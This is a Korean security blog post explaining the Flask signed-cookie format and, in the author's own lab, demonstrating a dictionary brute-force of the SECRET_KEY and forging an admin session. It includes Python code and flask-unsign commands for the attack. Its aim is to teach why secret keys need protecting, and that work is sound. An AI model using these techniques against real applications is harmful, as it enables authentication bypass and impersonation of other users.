티스토리 뷰

보안/Research

[Research] Crack Flask Cookies (Secret Key)

돔돔이부하 2021. 12. 12. 05:39
728x90
반응형

상식적으로 웹서버에서 세션/쿠키를 암호화하는 데 쓰이는 Secret Key 라는 것이 노출되면 안된다고 노출되지 않게 잘 관리하도록 권유합니다. 개인적으로 필자는 웹서버에 대한 이해가 아직 부족한 상태여서, 대체 왜 이 Secret Key 라는 것이 노출되면 위험한지 알고 싶어서 여러 조사와 실험을 해보고자 하였습니다.

 

대게 현재 상용화되어 있는 웹상에서는 거의 SECRET_KEY 가 공개되어 있는 것은 볼 수 없지만, 가장 흔히 볼 수 있는 곳이 바로 Github 와 같은 공개적으로 소스코드들을 공유하는 플랫폼에서 많이 발견되어 집니다. (Github 측에서도 이런 점을 알고 있어서 따로 Security 앱을 만들어 사용자들에게 경고해주고 있습니다)

 

그리고 사람이라면 정말 가끔은 실수로 Client Side 나 사용자 단에서 조회할 수 있는 곳에다가 저장하는 경우도 완전히 없을 거라고는 장담 못하지 않을까 싶기도 합니다.

 

아무튼 날이 갈수록 이 SECRET_KEY 의 존재 이유에 대해서 궁금증을 더해 가다가 결국 Hackthebox 에서 Interdimensional Internet 이라는 워게임 문제를 만나게 되었습니다. 여기서는 Flask 웹서버에 있는 SECRET_KEY 가 노출되었음을 가정하고 풀게 되는 문제입니다. 나중에 꼭 한번 풀어보고 또 포스팅을 하려고 합니다. 문제 다 풀어서 올렸습니다. 궁금하시면 아래 링크 참고해보세요!
https://domdom.tistory.com/306

 

[Hackthebox] - Interdimensional Internet Writeup(문제풀이)

문제요약 : Python Arbitrary Code Execution 문제에 처음 접속하면 위와 같은 페이지가 나옵니다. 소스코드 보기를 하면 아래와 같은 힌트를 보실 수 있습니다. /debug 경로에 접속해보면 아래와 같이 웹서

domdom.tistory.com

 

Flask Session 요약 정리

Flask 에서는 기본적으로 서명된 쿠키를 사용합니다. 용도는 당연히 사용자의 현재 세션 정보를 저장하기 위해서 사용됩니다. 그리고 이론적으로 이 정보는 위변조 될 수 없게 설계되어 있다고 합니다.

 

그리고 Flask 에서의 이 쿠키는 암호화 된 것이 아니라 단순히 서명된 것입니다. 일반적으로 내용이 암호화되면 읽을 수 없어야 맞는데, 이 쿠키는 secret key 를 모르더라도 읽을 수 있습니다.

 

SecureCookieSessionInterface 라는 곳에서 쿠키들을 서명해주고 Flask 세션 형태의 구조로 만들어서 출력해줍니다. 그리고 바로 아래와 같은 형태가 Flask에서의 일반적인 쿠키의 형태이죠. (점을 기준으로 구분했습니다)

eyJ1c2VyIjoiYWRtaW4ifQ    .    YbT9sg    .    jdq0mA1DQSUb5vTAVjKA7VpVXuk
세션 정보                             타임스탬프                    해쉬

Session(세션) 정보

위에 나와있는 "세션 정보" 부분이 바로 session 의 직접적인 내용을 담고 있는 부분입니다. 보기엔 사람이 읽을 수 없는 형태로 보일 수도 있지만, 실제로는 단순히 Base64 인코딩된 문자열일 뿐입니다. 만약 itsdangerous 모듈의 base64 decoder 를 이용해서 디코딩을 한다면, 아래와 같이 나올 것입니다.

>>> import itsdangerous
>>> itsdangerous.encoding.base64_decode('eyJ1c2VyIjoiYWRtaW4ifQ')
b'{"user":"admin"}'

타임스탬프(Timestamp)

점을 기준으로 두 번째에 해당하는 항목은 타임스탬프입니다. 타임스탬프는 서버에서 언제 이 데이터가 최근에 변경되었는지를 나타내줍니다. 사용하고 있는 itsdangerous 모듈의 버전에 따라서 타임스탬프 계산식이 살짝 달라진다고 하는데, 일반적으로 Unix timestamp 라고 생각하면 됩니다. 그리고 31일을 넘어가면 세션은 만료된 것으로 인식하고 유효하지 않은 세션으로 인식한다고 합니다.

 

해쉬(Hash)

이 부분이 이제 Flask 의 쿠키의 보안을 책임지는 부분입니다. 서버 측에서 정말 이 쿠키가 사용자로부터 위변조 없이 안전하게 보낸 것인지 확인할 수 있는 수단이 이 해쉬를 보고서 판단하게 됩니다.

 

해쉬는 SHA1 해쉬 알고리즘을 기반으로 세션 정보와 현재 타임스탬프 그리고 서버의 SECRET_KEY 를 기초로 계산해서 무결성 검증을 하게 됩니다.

 

만약 쿠키를 까보고 해쉬 부분이 주어진 조건들에 부합하지 않는다면, 이 쿠키는 위변조가 된 것임으로 인식하고 Invalid Session 으로 판단하게 되겠죠.

 

그렇기 때문에 이 부분에서 사람들이 모두 SECRET_KEY 를 잃어버리면 위험하다고 하는 것 같습니다. 세션 정보는 위에서 이미 말했다시피 언제 어디서든 조작이 가능합니다. timestamp 가 최신의 현재 타임스탬프를 가지게 하면 그만이구요. 이제 SECRET_KEY 만 알게 되면 언제 어디서든 누군가가 Flask 의 세션 정보를 위변조해서 서버에 전송할 수 있게 되는 것입니다. 그러니 SECRET_KEY 는 쉽게 자동화 도구로 Bruteforce 해서 알아낼 수 없도록 알기 어려운 문자열로 구성해야하는 것 같습니다.

 

실습

1. 실습 환경 구축

여기까지만 보면 이제 SECRET_KEY를 잃어버리면 안되는 이유 정도는 머릿속에 어느정도 윤곽이 보이게 됩니다. 하지만 직접 해보지 않은 이상 눈에 익지는 않기 때문에 실습을 통해서 익혀보도록 해보겠습니다.

 

임시로 Flask 서버를 구축해보았고, 해당 서버에서는 첫 접속 시 자동으로 임의의 세션을 생성하도록 했습니다.

첫 화면 페이지
세션 정보

서버 접속 시 세션 정보를 획득하는 모습니다. 바로 아래가 위 이미지의 세션 정보입니다.

eyJ1c2VybmFtZSI6Imd1ZXN0In0.YbUF_g.44xSBRwbswszTjVq508BtMEq760

2. 쿠키 크랙(Crack)

그리고 사전 기반 Bruteforce 하는 코드는 아래와 같습니다.

wordlist = ['abc', 'qwe', 'lov']
cookieValue = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.YbUF_g.44xSBRwbswszTjVq508BtMEq760'
for secret in wordlist:
	try:
		decodeFlaskCookie(secret, cookieValue)
	except BadTimeSignature:
		continue

print('Secret Key : ' + secret)

실제로 wordlist 는 엄청 크겠지만 테스트를 위해서 몇번만 시도하면 바로 찾게 해놨습니다. 여기서 사용한 SECRET_KEY 는 lov 입니다. (참고로 decodeFlaskCookie 함수는 SecureCookieSessionInterface 클래스에서 URLSafeTimedSerializer 함수 호출 후 loads 함수를 호출한 것을 모두 포함해서 정의한 함수일 뿐입니다)

 

위 코드에서 만약 SECRET_KEY 가 맞지 않는다면 BadSignature 오류가 나게 됩니다. (위 코드에서는 Timed 기반이라 BadTimedSignature 입니다) 이 원리를 이용해서 Exception 이 발생하지 않을 경우 정상적으로 쿠키 디코딩이 되므로 Secret Key를 찾았다고 판단하게 하고 출력하도록 하였습니다.

 

3. 쿠키 위변조

이제 위 코드를 돌려서 SECRET_KEY인 lov를 찾았다고 가정하고, 쿠키를 위변조 해보겠습니다.

cookie = encodeFlaskCookie('lov', {u"username":"admin"})
print(cookie)
# eyJ1c2VybmFtZSI6ImFkbWluIn0.YbUKBw.Gjwdn_q3rGgKal-E5MDV1n-B9jQ

위와 같이 나왔을 때 웹 클라이언트에서 쿠키를 변조해보았습니다.

세션 정보 위변조
위변조된 세션으로 관리자 접속

이로써 변조된 세션으로 인해 관리자로의 로그인이 성공하였음을 확인할 수 있습니다.

 

※ 유용한 도구(Flask Unsign)

그리고 SECRET_KEY 를 알아냈다는 가정하에 사용하기 좋은 유용한 python 모듈이 있습니다. 이름은 flask-unsign 이라는 도구입니다. 설치법은 아래와 같습니다.

C:\Users\Domdomi>pip install flask-unsign

사용법은 간단합니다. 아래와 같이 해서 SECRET_KEY에 맞는 쿠키를 제작해줍니다.

C:\Users\Domdomi>flask-unsign --sign --cookie "{'username':'admin'}" --secret "lov" eyJ1c2VybmFtZSI6ImFkbWluIn0.YbUK0Q.5wrr6C9v45mMiwCtuztyGYdI1Lw

그리고 flask-unsign 이 제작해준 쿠키를 사용하여서 위 웹 페이지에 적용해보아도 동일하게 잘 작동하는 것을 확인할 수 있습니다.

 

- 끝 -

 

추신 : 나중에 이 원리를 이용해서 hackthebox 의 interdimensional internet 문제를 꼭 풀어서 writeup(문제풀이)를 포스팅할 생각입니다. 문제 풀었습니다! 아래 링크를 참고해보실 수 있습니다~

https://domdom.tistory.com/306

 

[Hackthebox] - Interdimensional Internet Writeup(문제풀이)

문제요약 : Python Arbitrary Code Execution 문제에 처음 접속하면 위와 같은 페이지가 나옵니다. 소스코드 보기를 하면 아래와 같은 힌트를 보실 수 있습니다. /debug 경로에 접속해보면 아래와 같이 웹서

domdom.tistory.com

 

728x90
반응형
댓글